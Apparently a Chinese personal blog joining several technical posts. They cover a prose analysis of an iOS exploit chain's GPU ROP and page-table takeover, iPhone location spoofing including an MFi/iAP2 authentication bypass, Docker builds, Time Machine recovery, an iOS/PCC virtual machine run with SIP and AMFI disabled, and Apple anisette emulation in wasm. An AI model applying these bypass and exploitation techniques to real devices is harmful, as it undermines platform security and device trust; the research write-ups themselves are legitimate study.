映射准备就绪后，他们将设置一条旨在 GFX 上执行的 ROP 链。根据 SoC，他们执行三个 ROP 链之一。从高层来看，所有 ROP 链都围绕使用受控休眠状态进入休眠，以便在唤醒时由于状态控制他们将重新获得代码执行，并且还使用完全受控的页表运行。一般来说，他们的 ROP 链将：恢复入口点（以避免再次执行 ROP 链），设置休眠数据结构使其在受控页表下重新获得代码执行，返回到常规执行并等待休眠或自己触发它。然后一旦从休眠中唤醒并使用假页表重新获得代码执行，他们将在 AP 上设置自引用 PTE，然后优雅地退出 ROP 以继续常规执行。

为了启动该链，他们将在 GFX 作业列表中插入一个仅包含单个 GPU 栅栏/戳记操作的作业。这给了他们一个 GFX 上的 32 位写入原语。通过这个 32 位写入，他们覆盖电源线程的线程状态指针指向自己的（他们覆盖字节 1-5 以允许用 32 位完全控制指针，除了最低字节，然后将他们的假对象对齐到与原始指针相同的最低字节）。这允许他们在电源线程再次被调度时获得代码执行。当他们拥有窃取的端口时，可以轻松使用外部方法向 GFX 提交作业（并修补数据结构以插入那个格式错误的栅栏操作）；而没有端口时，则将使用物理映射原语映射作业列表，并直接将作业插入其中。

3.6.3.1. GFX ROP 链

（点击展开） GFX ROP 链基于这个 gadget：它允许他们加载所有寄存器并通过将 ELR_EL1 设置为他们想要跳转的第一个地址并将 X30 设置为第二个地址来执行双跳。在实践中他们通过将 X30 设置回同一个 gadget 来获得另一次调用来进行链式操作。对于修改内存他们使用 str x1, [x0, x2]; ret gadget。

ROP 链存在三个不同版本。

对于 A13，在执行之前他们将（使用 AP 物理读写）修改 rtk_crt_mmu_gxf_stack_size 为 0x4028 而不是 0x4000 字节，使其与数据中的一些变量重叠，包括 μPPL 错误状态。然后在 ROP 链中他们将：恢复作业列表（如果漏洞利用没有窃取的 IOGPU 端口）、通过 genter 调用 μPPL 来重新映射休眠上下文（genter 命令 0x10）、用他们的第一个假休眠上下文覆盖指向休眠上下文的指针、恢复电源线程（他们用于劫持代码执行的）、恢复 TPIDRRO_EL0 的正确值并继续常规执行、然后在某个时刻 GFX 将进入休眠然后唤醒时加载第一个假休眠上下文（这将让他们重新获得代码执行）、在获得新上下文中的代码执行后他们将设置一个带有假页表的假休眠上下文、覆盖休眠上下文指针以指向假上下文、恢复 TPIDRRO_EL0 的正确值并继续常规执行、新的假上下文将使用命令 0x24 调用 genter（0x24 不是一个有效的 μPPL 命令，所以处理程序会将命令缓冲区指针写入数据段以便外部处理代码可以崩溃并提供调用作为上下文；因为他们覆盖了 rtk_crt_mmu_gxf_stack_size，栈目前与这些数据全局变量重叠，允许他们粉碎 x30，这将调用 ldp x8, x0, [x28];mov x1, x20; mov x2, x21; blr x8 gadget；通过在 genter 调用之前将 x28 设置为他们控制的内存，他们现在在 μPPL 上下文中拥有代码执行）、这个 μPPL 下的最终 ROP 链将休眠上下文恢复为原始值、在 GFX 上创建一个假 PTE 条目、执行 tlbi vmalle1is; dsb sy; isb; ret、在 AP 上创建自引用 PTE、使用受控休眠上下文调用 resume_uat 以继续常规代码执行。

在 A14-A17 上他们将：恢复作业列表（如果漏洞利用没有窃取的 IOGPU 端口）（通过 str x1, [x0, x2]; ret）、恢复电源线程的线程状态、正常调用 arm_arch_hibernate_uat 来转储休眠状态、将假 ttbr1 页表层次结构插入休眠状态、将 @+0xD8（TPIDRRO_EL0）设置为电源线程，将 @+0xC8（SP）设置为下一个 ROP 链、通过向 0xfffffc1100160008 写入 0x0 来重置 L2C 错误状态、执行 dsb sy; isb; ret、向 0xfffffc1100170000 写入 0xFFFFFFFF80000000 以进入休眠、自旋、然后他们将在自己的 ROP 链中唤醒使用假页表、所以现在他们可以在 AP 上创建自引用 PTE、最后他们从 TPIDRRO_EL0 加载原始电源线程状态继续常规执行。

感谢 Plx 的推文，我们现在知道 0xfffffc1100160008 指向 GFX 的 L2C 错误状态，0xfffffc1100170000 指向 ASC 调试覆盖寄存器。我不确定为什么他们需要清除 L2C 错误状态或为什么他们在调试覆盖中写入第 31-63 位，但第 39 位是 force_core_ret_reset，所以我假设这是核心重置和加载休眠上下文所需要的。

此外，在 A14 上他们在恢复状态之前执行第二次 PTE 存储，通过用常规映射替换它来取消映射第二个 GFX MMIO 区域（0xfffffc1100170000）。我不完全知道为什么他们只在 A14 上需要这样做，但我怀疑他们希望 AP 不从该区域读取某些值然后可能崩溃。

我怀疑他们不能在 A14+ 上执行 A13 攻击的原因是更强的 CTRR 不再允许他们修改 rtk_crt_mmu_gxf_stack_size，因为它在 const 段中。

3.7. 之后

至此，他们已拥有完整的物理读写能力，并可加载植入物。我假设这是在 0x80000 MachO 内部使用导出的 C2C 函数完成的，但这是我目前逆向的终点。将来我想更好地理解内核读写清理部分和 GFX 代码执行，然后可能研究 C2C 函数和植入物本身。为此，我还准备了下一节中的开放问题。

4. 开放问题

本节汇总了截至目前分析中尚未解决的所有问题。我可能会在一段时间后回来回答它们，然后更新这篇文章。

• 他们使用的是什么混淆器？JS 变量混淆替换生成的工作方式是否可以匹配到 Metasploit 的？
• (0)[0] JIT 屏障构造究竟是如何影响 JIT 编译器状态的？
• 是否存在一个版本中 obj 属性访问中的 "uo" 是正确代码生成所需要的？
• 我们能否验证 gRWArray1 索引 0 和 2 是用来防止 JIT 共同加载或向量优化加载的？
• 为什么在 targetObj 之后喷射 256 个对象——更少是否足够？
• 为什么将浮点数组 butterfly 指针重置为 targetObj 的值而不是原始值？
• C2C DOM 更新（状态 6）是否实际上被原生代码使用？
• 他们如何能够通过 vm_object 分配 ID 模式观察来预测内核分配器状态？
• 为什么升级到第二个 vm_object 作为物理映射原语？
• 当他们已经有映射原语时，为什么 IOGPU 64 位递减间接是必要的？
• GFX 休眠在 A14-A17 上究竟是如何被触发的？
• 为什么第二个 GFX MMIO 区域取消映射只在 A14 上需要？
• Sparrow 在哪里？
• Gruber 内核读写清理/升级函数的其余部分做了什么？
• C2C 函数向编排器导出了什么功能，编排器如何使用它们来加载植入物？

5. 参考

5.1. 什么是 PAC

指针认证码（PAC）是 ARMv8.3 及更高版本架构中实现的安全功能，提供针对前向边缘（防止 JOP）和后向边缘（防止 ROP）的控制流完整性（CFI）。PAC 通过向指针添加加密签名来工作，可以在解引用指针之前用于验证指针的完整性。这有助于防止攻击者操纵指针来执行任意代码或访问未授权内存。Apple 在 A12 及更高版本设备上发布了 PAC，因此在这些设备上攻击者需要在实现代码执行之前绕过 PAC。Brandon Azad 有一篇博客文章分析了初始实现，网上还有很多关于绕过的演讲。

5.2. 什么是 JITBox/JITCage

JITBox/JITCage 是 WebContent 内部的一个安全功能，试图防止攻击者使用 JIT 区域作为击败 CFI 的方式。关于它的公开文档很少，但我找到了 Synacktiv 的这个演示和 Luca 的一个演讲。Apple 基本上限制了可以在 JIT 区域内执行的汇编指令以及代码可以跳转到的位置（通过禁止未经认证的跳转和跳转到区域外的指令，对于认证跳转则限制对签名密钥的访问）。

5.3. 什么是 PPL/SPTM

旧设备上的页保护层（PPL）和新设备上的安全页表监视器（SPTM）负责保护系统免受已经拥有内核读写的攻击者的攻击。它通过获取对页表以及其他重要数据结构的控制并保持它们对内核只读来实现这一点，使得无法在不首先获取 PPL/SPTM 上下文内写入原语的情况下修改它们。关于它们的好博客文章可以在这里、这里和这里找到。

5.4. 什么是 pUAF

pUAF 这个术语最初由 felix-pb 在他的 kfd 文章中创造。与虚拟地址被重用的常规 UAF 不同，物理 UAF（pUAF）描述了一种场景，其中由于 vm 子系统内部的漏洞，支持映射的物理页被释放，而（虚拟）映射仍然存在。这意味着映射的虚拟地址仍然可以用于访问内存，但它现在将指向在这些物理页上分配的任何新数据。这是一个非常强大的原语，因为它允许攻击者简单地喷射他们希望修改的内核结构，检测它们出现在 pUAF 映射上，然后直接从用户态修改它们。

6. 结语

我希望你喜欢这篇阅读。感谢所有在捕获、分析、理解和校对方面帮助我的人！

如果你有任何问题或改进建议，你可以在 Twitter 上联系我或通过电子邮件。

下次见 ~lailo

Simulate Location

经过搜索发现爱思使用的是标准做法，苹果的官方修改方式：使用simulate location的lockdown服务可以修改模拟地址，但是这样修改能够被程序通过一个关键字（？具体是啥忘了，但是能够知道这个address是模拟的）

于是咱尝试在webmux里实现了一下。具体需要做什么：

第0步是打开开发者模式。

挂载DDI

首先是simulate location是一个”developer功能”，所以需要用一些办法挂载上Developer Disk Image。它提供了一系列的工具，包括debugserver等开发者需要用到的东西。

Before 17.0

在17.0之前，挂载DDI只需要发一个lockdown请求，然后把DDI和signature一起丢进去就好了。

17.0+

17.0之后，苹果收紧了挂载ddi的方式，大概操作流程变成了：

1. 请求挂载设备SEP开一个nonce：（nonce是根据ddi特征（hash或者其他的东西）生成的一个key）
2. 主机把这个nonce发送到苹果的服务器，返回一个ticket。
3. 主机把ticket和镜像发回给设备。
4. 挂载成功

💡

这样做的原因是之前的方式导致了一些奇怪的安全问题。

于是挂载之后我们就能愉快的尝试发请求了…

这里同样分为三个版本时期

Before 17.0

在17.0之前，location simulation是暴露在lockdownd中可以启动的com.apple.dt.simulatelocation。所以我们可以直接很方便简单的直接启动这个service，就可以愉快的发送经纬度坐标了。

After 17.0

这个时候苹果想了个奇怪的RemoteXPC方法用来调用位置修改：

需要启动”rsd”隧道才能使用。这里我们知道rsd隧道其实就是在之前usbmux基础上增加了一层ipv6封装。所以在web端我直接偷懒用了lwip开源版本，开启ipv6选项直接编译成wasm，美滋滋。

接下来是发XPC请求给这个service：com.apple.instruments.server.services.LocationSimulation 直接调用的是objc方法，比之前版本好一些，有两个方法可以调用了：simulateLocationWithLatitude:longitude:和stopLocationSimulation

但是17.0-17.4和17.4+使用的rsd方式不同，所以应该算是两种不同做法。

下面是一个成功的瞬移示例（

iAP2 fake location

这种我觉得好天才啊，是看了anygo的代码才知道这种做法的。该他收90刀终身。

我们知道，苹果/现代设备获取定位的方式是基站+wifi+周围设备+gps，gps是最少用到的。绝大部分反馈来自wifi/周围设备。并且wifi/基站获取到的数据不被认为是完全真实的。

于是我们可以假装成周围设备，给iphone发送信息！

由于iphone更信任MFI认证设备的location，所以可以有这样一套流程：

1. 前置配对操作RFCOMM
2. iphone给我们的设备发送一个nonce
3. 我们的设备（通过某种方法通过nonce认证）一般来说是MFI芯片+证书处理返回去一个response
4. 建立一个可靠信道（类似tcp，有ack确认帧）
5. 发送位置信息
6. iphone修改自己的位置信息！

我认为AnyGo做的最天才的一件事是第二步！！！

在第二步时，它这样进行了一套操作：

1. 发送enqueue：（用户邮箱，key，uuid）到云服务器，获取了芯片信息等。
2. 发送certify：（刚刚的uuid，同样的email，key，以及签名信息，芯片信息），直接获取到响应的response，发回给设备！

这样一来，设备信任了我们的信源是一个MFI认证的苹果设备，从而信任我们共享的地址。从而能够优雅的修改真实地址，而不是模拟地址，从而能够打开我们需要的高血压功能。

这里还有一篇文章关于怎么获得iAP2的方法：

misc - Exploring Apple's MFI protocol iAP2

也还是挺有趣的，以后有机会复现下！。

💡

实际上绝大部分全网首发的开启apple watch高血压检测功能的方法都是anygo，但是却没人知道原理，当然也没人关心就是了。

后记

这个第二个方法感觉可以出一个硬件ctf题目啊（确信

Tweet: https://x.com/0x88FFA357/status/2042842471999377841

并且看到了这样一个wrapper程序用来下载apple music。但是它用了两套二进制，一个放在外面不用ndk，纯glibc，另一个放在chroot里，ndk的实现用来适配android环境。这是必须的吗？

FROM scratch

显然不是，我们知道，docker实际上可以被理解成一个分层的沙盘。在Dockerfile构建时，每一个命令（RUN，COPY，..etc）都是一层，每层中保存了这一层被放进来的内容。这样的增量保存是Docker广受好评的原因。那么，最开始的系统镜像是怎么打包的呢？

答案就是本节标题`FROM scratch`,这里会给一个空白的沙盘，文件系统为空。所以我们只需要把wrapper/rootfs直接放进根目录，我们就不再需要一个单独的wrapper来启动chroot了。

FROM debian:bookworm-slim AS rootfs

ARG ROOTFS_ARCHIVE_URL="https://github.com/WorldObservationLog/wrapper/archive/refs/heads/main.tar.gz"

RUN apt-get update \
    && apt-get install -y --no-install-recommends ca-certificates curl tar \
    && rm -rf /var/lib/apt/lists/* \
    && mkdir -p /tmp/rootfs /out \
    && curl -fsSL "$ROOTFS_ARCHIVE_URL" -o /tmp/rootfs/rootfs.tar.gz \
    && tar -xzf /tmp/rootfs/rootfs.tar.gz -C /tmp/rootfs \
    && src_dir="$(find /tmp/rootfs -mindepth 2 -maxdepth 2 -type d -name rootfs | head -n 1)" \
    && test -n "$src_dir" \
    && cp -a "$src_dir" /out/rootfs

FROM scratch
COPY --from=rootfs /out/rootfs /

这样就构造了一个“伪”android环境。于是我们写一个简单程序放进去就能用了！

但是这还不是我想要的效果。可以看到另一个程序‣中用到了mp4box这种重依赖glibc的程序。大家第一想法显然都应该是连接成static放到容器中就能用了。但是，能不能不这样呢？

INTERPRETER，LOADER

这里是linux的另一个有意思的点。在启动linux程序时，走exec*的系统调用来启动。启动时，linux会检查程序的头标志符，如果存在PT_INTERP说明程序依赖动态加载的loader。在glibc环境下是/lib64/ld-linux-x86-64.so.2，在android上是/system/bin/loader64。内核会启动这个程序来进行依赖的加载。最后再运行程序。

所以在我们打ctf的时候会用到patchelf这个程序来修改程序头，让它使用我们期望的libc。

💡

不过patchelf是给nixos写的谁能想到…

所以怎么让glibc和bionic libc共存呢？

实际上我们只需要把两边都loader和so文件都放进来到对应的位置，实际上直接运行就能运行了。位置

下面是我写的测试Dockerfile

FROM debian:bookworm-slim AS mp4box

ARG GPAC_APT_URI="https://dist.gpac.io/gpac/linux/debian"
ARG GPAC_APT_COMPONENT="nightly"

RUN apt-get update \
    && set -eux \
    && apt-get install -y --no-install-recommends \
        ca-certificates \
        curl \
        binutils \
    && install -m 0755 -d /etc/apt/keyrings \
    && curl -fsSL https://dist.gpac.io/gpac/linux/gpg.asc -o /etc/apt/keyrings/gpac.asc \
    && chmod a+r /etc/apt/keyrings/gpac.asc \
    && printf 'Types: deb\nURIs: %s\nSuites: %s\nComponents: %s\nSigned-By: /etc/apt/keyrings/gpac.asc\n' \
        "$GPAC_APT_URI" \
        "$(. /etc/os-release && echo "$VERSION_CODENAME")" \
        "$GPAC_APT_COMPONENT" \
        > /etc/apt/sources.list.d/gpac.sources \
    && apt-get update \
    && apt-get install -y --no-install-recommends gpac \
    && rm -rf /var/lib/apt/lists/* \
    && mp4box_path="$(command -v MP4Box || command -v mp4box)" \
    && test -x "$mp4box_path" \
    && libgpac_path="$(find /usr/lib /lib -name 'libgpac.so*' ! -name '*.a' | sort | head -n 1)" \
    && test -n "$libgpac_path" \
    && test -e "$libgpac_path" \
    && interp="$(readelf -l "$mp4box_path" | sed -n 's/.*Requesting program interpreter: \(.*\)]/\1/p')" \
    && test -n "$interp" \
    && module_paths="$(if test -d /usr/lib/gpac; then find /usr/lib/gpac -type f -name '*.so' | sort; fi)" \
    && deps="$( \
        { \
            ldd "$mp4box_path" "$libgpac_path"; \
            if test -n "$module_paths"; then ldd $module_paths; fi; \
        } | awk ' \
                /=> \// { print $3 } \
                /^\// && $1 !~ /:$/ { print $1 } \
            ' \
          | sort -u \
    )" \
    && install -d /out/usr/bin /out/usr/lib /out/lib64 /out/etc/ssl/certs \
    && ln -s usr/lib /out/lib \
    && cp -a "$mp4box_path" /out/usr/bin/MP4Box \
    && if test -e /usr/bin/mp4box; then cp -a /usr/bin/mp4box /out/usr/bin/mp4box; fi \
    && if test -d /usr/lib/gpac; then cp -a /usr/lib/gpac /out/usr/lib/gpac; fi \
    && for dep in "$interp" "$libgpac_path" $deps; do \
        clean_dep="${dep%:}"; \
        real="$(readlink -f "$clean_dep")"; \
        install -d "/out$(dirname "$real")"; \
        cp -a "$real" "/out$real"; \
        if test -L "$clean_dep"; then \
            case "$clean_dep" in \
                /lib/*) \
                    link_path="/usr$clean_dep"; \
                    ;; \
                *) \
                    link_path="$clean_dep"; \
                    ;; \
            esac; \
            install -d "/out$(dirname "$link_path")"; \
            cp -a "$clean_dep" "/out$link_path"; \
        fi; \
    done \
    && for alt in \
        /etc/alternatives/libblas.so.3-x86_64-linux-gnu \
        /etc/alternatives/liblapack.so.3-x86_64-linux-gnu; do \
        if test -L "$alt"; then \
            alt_target="$(readlink "$alt")"; \
            install -d "/out$(dirname "$alt")" "/out$(dirname "$alt_target")"; \
            cp -a "$alt" "/out$alt"; \
            cp -a "$alt_target" "/out$alt_target"; \
        fi; \
    done \
    && if test -f /etc/ssl/certs/ca-certificates.crt; then \
        cp -a /etc/ssl/certs/ca-certificates.crt /out/etc/ssl/certs/ca-certificates.crt; \
    fi

FROM scratch

COPY --from=mp4box /out/ /

ENTRYPOINT ["/usr/bin/MP4Box"]
CMD ["-version"]

经过测试这也能运行。

于是我们只需要把刚刚的两个结合到一起，就能获得glibc和bionic libc共存的程序。

细节代码见

Dockerfile

FROM debian:bookworm-slim AS ffmpeg

ARG FFMPEG_STATIC_URL="https://johnvansickle.com/ffmpeg/releases/ffmpeg-release-amd64-static.tar.xz"

RUN apt-get update \
    && apt-get install -y --no-install-recommends ca-certificates curl xz-utils \
    && rm -rf /var/lib/apt/lists/* \
    && mkdir -p /opt/ffmpeg \
    && curl -fsSL "$FFMPEG_STATIC_URL" -o /tmp/ffmpeg.tar.xz \
    && tar -xJf /tmp/ffmpeg.tar.xz -C /opt/ffmpeg --strip-components=1 \
    && test -x /opt/ffmpeg/ffmpeg \
    && test -x /opt/ffmpeg/ffprobe \
    && rm -f /tmp/ffmpeg.tar.xz

FROM node:22-bookworm AS frontend-builder

WORKDIR /app/frontend
COPY frontend/package.json frontend/package-lock.json ./
RUN npm ci
COPY frontend ./
RUN npm run build

FROM rust:bookworm AS builder

ARG ANDROID_NDK_URL="https://dl.google.com/android/repository/android-ndk-r25c-linux.zip"
ARG GIT_COMMIT

RUN apt-get update \
    && apt-get install -y --no-install-recommends ca-certificates curl unzip \
    && rm -rf /var/lib/apt/lists/* \
    && mkdir -p /opt/android-ndk \
    && curl -fsSL "$ANDROID_NDK_URL" -o /tmp/android-ndk.zip \
    && unzip -q /tmp/android-ndk.zip -d /opt/android-ndk \
    && ndk_dir="$(find /opt/android-ndk -mindepth 1 -maxdepth 1 -type d | head -n 1)" \
    && mv "$ndk_dir" /opt/android-ndk/current \
    && rm -f /tmp/android-ndk.zip

ENV ANDROID_NDK_HOME=/opt/android-ndk/current
ENV GIT_COMMIT=${GIT_COMMIT}
RUN cargo install --locked cargo-ndk
RUN rustup target add x86_64-linux-android

WORKDIR /app
COPY . .
COPY --from=frontend-builder /app/frontend/dist /app/frontend/dist
RUN cargo ndk -t x86_64 build --release --bin main

FROM debian:bookworm-slim AS rootfs

ARG ROOTFS_ARCHIVE_URL="https://github.com/WorldObservationLog/wrapper/archive/refs/heads/main.tar.gz"

# Android's dynamic loader must stay executable. Containerd refuses to start
# `/main` when the archived rootfs ships `system/bin/linker64` without the
# execute bit.
RUN apt-get update \
    && apt-get install -y --no-install-recommends...

这就是神奇的linux魅力啊，哪怕最后删到一个文件没有里它还是能正常运行的。

mac空间满了于是直接格式化掉了重置了，文件备份还在nas里，于是想直接给取出来。

0x01 编译安装

这里我们要用到两个binary，分别是‣，用来把sparsebundle挂在成一个dmg，以及‣，用来把dmg里的APFS备份卷挂载出来。

但是似乎这两个都没有现成的包可以用，于是我们需要手动安装。

首先安装依赖

sudo apt update
sudo apt-get install pkg-config libfuse-dev fuse # for sparsebundle-fs
sudo apt install fuse libfuse3-dev bzip2 libbz2-dev cmake gcc-c++ git libattr1-dev zlib1g-dev # for apfs-fuse

然后找源码/编译：

git clone --depth=1 https://github.com/torarnv/sparsebundlefs.git
cd sparsebundlefs
sudo make install
cd ..

git clone --depth=1 https://github.com/sgan81/apfs-fuse.git
cd apfs-fuse
git submodule init # ?这里是不是能直接用--recusive了？
git submodule update
mkdir build
cd build
cmake ..
sudo make install 
cd ..

0x02 挂载

首先你需要找到nas上用来存放sparsebundle的地方，我用的是飞牛所以是在/vol1/@timemachine 下面。

mkdir -p "mnt_sparsebundle" "mnt_apfs"
sparsebundlefs /vol1/@timemachine/HUAWEI\ Matebook\ Pro.sparsebundle ./mnt_sparsebundle
ls -l mnt_sparsebundle

这个时候能看到这里面有一个sparsebundle.dmg ，接下来用apfs-fuse来挂载sparsebundle.dmg

apfs-fuse ./mnt_sparsebundle/sparsebundle.dmg ./mnt_apfs

这个时候就能在./mnt_apfs/root下面看到

- `2026-04-03-094221.previous`
- `2026-04-03-094221.backup`
- `backup_manifest.plist`

这样的几个备份了，进去看看也能找到正确的文件。

0x03 切换特定快照

其实也可以只挂在某一个快照。需要用apfsutil查看Snapshots。

apfs-fuse \
  -o snap=1769 \
  "./mnt_sparsebundle/sparsebundle.dmg" \
  "./mnt_apfs"

最后找到文件，用rsync或者cp直接取出来就好。

但是今天我们不一样了！我们出息了！我们可以直接…在macOS上基于官方框架Virtualization.framework运行官方提供的Private Cloud Compute 系统….？那一天iOS和PCC都喝醉了….

美丽的误会起源于pcc的binary实际上是分发到macOS系统中…并且在系统中我们可以发现：

› /System/Library/SecurityResearch/usr/bin/pccvre
allow-research-guests is currently disabled; Please go to recovery and run 'csrutil allow-research-guests enable'

什么都关掉就好了！

0x01 关掉amfi，关掉sip。

于是重启到恢复模式：

csrutil disable
csrutil allow-research-guests enable
sudo nvram boot-args="amfi_get_out_of_my_way=1 -v"

0x02 初始化

参考砍砍的脚本直接运行就可以了。

git clone https://github.com/Lakr233/vphone-cli
cd vphone-cli


brew install keystone
make setup_libimobiledevice
make setup_venv
source .venv/bin/activate

这里一定要用他的这个setup_venv来初始化python…不然你会手动设置keystone设置崩溃的。然后libimobiledevice里面的irecovery需要重新构建一份，不然无法识别。

0x03 构建cli，复制系统文件

砍砍重写了原始writeup的tart poc作为独立程序，所以需要构建一次。同样，我们需要用系统提供的SEP和一些其他固件。

make build
make vm_new

0x04 杂交固件。

喝醉了的结果：pcc的kernel（xnu）+ ios的前端（swift）杂交成了一套新Manifest，可以被idevice系列使用。于是我们用

make fw_prepare
make fw_patch

来杂交并patch掉一些检查。这里我不详细说明了，感兴趣可以去看white4ever的writeup。

0x05 flash！

然后启动到dfu并fetch shsh blob，然后刷机。这是早期越狱常见操作了。

make boot_dfu

make restore_get_shsh
make restore

这一步似乎没什么好讲的。

0x06 ramdisk，提前安装patch

我们需要走带有ssh的ramdisk启动来安装需要的工具，比如dropbear,trollvnc之类的…

make boot_dfu

make ramdisk_build
make ramdisk_send

iproxy 2222 22
make cfw_install

0x07 正式启动！

make boot

这里很抽象的一点是，原来serial是可以输入东西的。。。

有个 bash#在serial的洪流里被淹没了。

但是你可以直接输入喔

# binaries are looking for each others via PATH so do not ignore this one
export PATH='/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/bin/X11:/usr/games:/iosbinpack64/usr/local/sbin:/iosbinpack64/usr/local/bin:/iosbinpack64/usr/sbin:/iosbinpack64/usr/bin:/iosbinpack64/sbin:/iosbinpack64/bin'

# call with fullpath
/iosbinpack64/bin/mkdir -p /var/dropbear
/iosbinpack64/bin/cp /iosbinpack64/etc/profile /var/profile
/iosbinpack64/bin/cp /iosbinpack64/etc/motd /var/motd
shutdown -h now

然后再启动一次，你就能在22222连上ssh，5901连上vnc。

嘛不过我听说他们在改gui连接了方式了，也许 你们不用vnc了（？

因为启动的时候自动连上了usb所以试了下用爱思助手装了个软件进去。

计划通。

那既然这样，AltStore 能不能也丢到浏览器里跑？这样可是解决了一个大难题啊

简单查了一圈，发现真正难的是 “anisette” 凭据生成。

anisette是什么？苹果为了验证请求发送者是一个真实的系统，在各种平台上封装了一系列库，使用系统调用来判断系统真实性，并生成一个otp用来发送。

哼哼，那这就到我们网安小子最喜欢的地方了，你用系统调用那我反过来hook掉你的调用不就好了～

普遍的anisette做法是从 Apple Music 里抠两个 so，然后本地加载+hook一些函数来做票据。问题来了：浏览器端怎么搞？

这时候就想到 unicorn。翻 issue 发现官方还没做 wasm 支持（说白了就是 qemu‑tci 没接上），但某个 PR 的评论里有人提到这个分支：

https://github.com/petabyt/unicorn/tree/tci-emscripten

那看起来是有人实现过了！

起初还想用 unicorn.js 的维护版，结果 SIMD 指令不全、版本又老，直接劝退。

折腾到后面我发现：JS 对接 C 原生真是邪门，错误一堆一堆，于是决定——全部用 Rust 写，暴露几个简单又不易出错的接口。底层逻辑参考了 pyprovision-uc。（还真是个抖M呢）

Rust + wasm 移植的第一步很朴素：先写一个正常的库，example 里调用一下，确认本地能跑通。事实证明，传说中的“AI 会写 Rust”是真的。

到了 “Rust + unicorn + wasm”，主要卡在两个点：

1. unicorn 默认 Rust binding 会把本地的 libunicorn.o 打包进去，但我们要的是 wasm，ELF 的 o 显然不适合。
2. unicorn 的 wasm 产物怎么打包？比如 libunicorn.a？

最后发现 emscripten 给了 emcmake 这种工具，能把中间产物转成 wasm 虚拟机能用的东西。并且看上去完全兼容原来的编译+链接方法

大致这样配：

emcmake cmake .. \
  -DCMAKE_BUILD_TYPE=Release \
  -DBUILD_SHARED_LIBS=OFF \
  -DUNICORN_BUILD_TESTS=OFF \
  -DUNICORN_INSTALL=OFF \
  -DUNICORN_LEGACY_STATIC_ARCHIVE=ON \
  -DUNICORN_INTERPRETER=ON \
  -DUNICORN_ARCH="arm;aarch64" \
  -DCMAKE_C_COMPILER=emcc

但 CMakeLists 并没有支持 emcc，需要补 patch：

diff --git a/CMakeLists.txt b/CMakeLists.txt
index e6b60aa8..03501788 100644
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
@@ -284,6 +284,11 @@ else()
                 set(UNICORN_TARGET_ARCH "loongarch64")
                 break()
             endif()
+            string(FIND ${UC_COMPILER_MACRO} "__wasm__" UC_RET)
+            if (${UC_RET} GREATER "0")
+                set(UNICORN_TARGET_ARCH "tci")
+                break()
+            endif()
             message(FATAL_ERROR "Unknown host compiler: ${CMAKE_C_COMPILER}.")
         endwhile(TRUE)
     endif()
@@ -395,10 +400,15 @@ else()
     else()
         set(UNICORN_EXECUTION_MODE "--disable-interpreter")
     endif()
+    if(EMSCRIPTEN)
+        set(EXTRA_EXTRA_CFLAGS --cpu=i386 --disable-stack-protector)
+    endif()
+    set (EXTRA_CFLAGS "${EXTRA_CFLAGS} -g")
     execute_process(COMMAND sh ${CMAKE_CURRENT_SOURCE_DIR}/qemu/configure
         --cc=${CMAKE_C_COMPILER}
         ${EXTRA_CFLAGS}
         ${TARGET_LIST}
+        ${EXTRA_EXTRA_CFLAGS}
         ${UNICORN_EXECUTION_MODE}
         WORKING_DIRECTORY ${CMAKE_BINARY_DIR}
     )
@@ -508,8 +518,8 @@ else()
         -D_GNU_SOURCE
         -D_FILE_OFFSET_BITS=64
         -D_LARGEFILE_SOURCE
-        -Wall
-        -fPIC
+        -Wall -O2
+        -fPIC -fpic -fvisibility=hidden
     )
     if (ATOMIC_LINKAGE_FIX)
         add_compile_options(

qemu/configure 也得补一下：

diff --git a/qemu/configure b/qemu/configure
index 30854676..378ffecb 100755
--- a/qemu/configure
+++ b/qemu/configure
@@ -5,6 +5,7 @@

 # Unset some variables known to interfere with behavior of common tools,
 # just as autoconf does.
+set -x
 CLICOLOR_FORCE= GREP_OPTIONS=
 unset CLICOLOR_FORCE GREP_OPTIONS

@@ -402,6 +403,8 @@ EOF

 if check_define __linux__ ; then
   targetos="Linux"
+elif check_define __wasm__ ; then
+  targetos='Linux'
 elif check_define _WIN32 ; then
   targetos='MINGW32'
 elif check_define __OpenBSD__ ; then

接下来就是“正常逻辑先跑通，再换 wasm target”。在 wasm 里几乎要 hook 掉所有 syscall（其实是 libc call 或类似接口）去伪造环境。我这边是在 got.plt 的跳转点加 code_hook，再按符号名分发：

for i in 0..IMPORT_LIBRARY_COUNT {
            let base = IMPORT_ADDRESS + (i as u64) * IMPORT_LIBRARY_STRIDE;
            uc.mem_map(base, as_usize(IMPORT_SIZE)?, Permission::ALL)?;

            let mut stubs = vec![0_u8; IMPORT_SIZE as usize];
            for chunk in stubs.chunks_mut(4) {
                chunk.copy_from_slice(&RET_AARCH64);
            }
            uc.mem_write(base, &stubs)?;

            uc.add_code_hook(base, base + IMPORT_SIZE - 1, |uc, address, _| {
                if let Err(err) = dispatch_import_stub(uc, address) {
                    debug_print(format!("import hook failed at 0x{address:X}: {err}"));
                    let _ = uc.emu_stop();
                }
            })?;
}


pub fn dispatch_import_stub(uc: &mut Unicorn<'_, RuntimeState>, address: u64) -> Result<(), VmError> {
  if address < IMPORT_ADDRESS {
    return Err(VmError::InvalidImportAddress(address));
  }

  let offset = address - IMPORT_ADDRESS;
  let library_index = (offset / IMPORT_LIBRARY_STRIDE) as usize;
  let symbol_index = ((offset % IMPORT_LIBRARY_STRIDE) / 4) as usize;

  let symbol_name = {
    let state = uc.get_data();
    let library = state
      .loaded_libraries
      .get(library_index)
      .ok_or(VmError::LibraryNotLoaded(library_index))?;

    let symbol = library
      .symbols
      .get(symbol_index)
      .ok_or_else(|| VmError::SymbolIndexOutOfRange {
        library: library.name.clone(),
        index: symbol_index,
      })?;

    symbol.name.clone()
  };

  handle_stub_by_name(uc, &symbol_name)
}

fn handle_stub_by_name(
  uc: &mut Unicorn<'_, RuntimeState>,
  symbol_name: &str,
) -> Result<(), VmError> {
  match symbol_name {
    "malloc" => stub_malloc(uc),
    "free" => stub_free(uc),
    "strncpy" => stub_strncpy(uc),
    "mkdir" => stub_mkdir(uc),
    "umask" => stub_umask(uc),
    "chmod" => stub_chmod(uc),
    "lstat" => stub_lstat(uc),
    "fstat" => stub_fstat(uc),
    "open" => stub_open(uc),
    "ftruncate" => stub_ftruncate(uc),
    "read" => stub_read(uc),
    "write" => stub_write(uc),
    "close" => stub_close(uc),
    "dlopen" => stub_dlopen(uc),
    "dlsym" => stub_dlsym(uc),
    "dlclose" => stub_dlclose(uc),
    "pthread_once" => stub_return_zero(uc),
    "pthread_create" => stub_return_zero(uc),
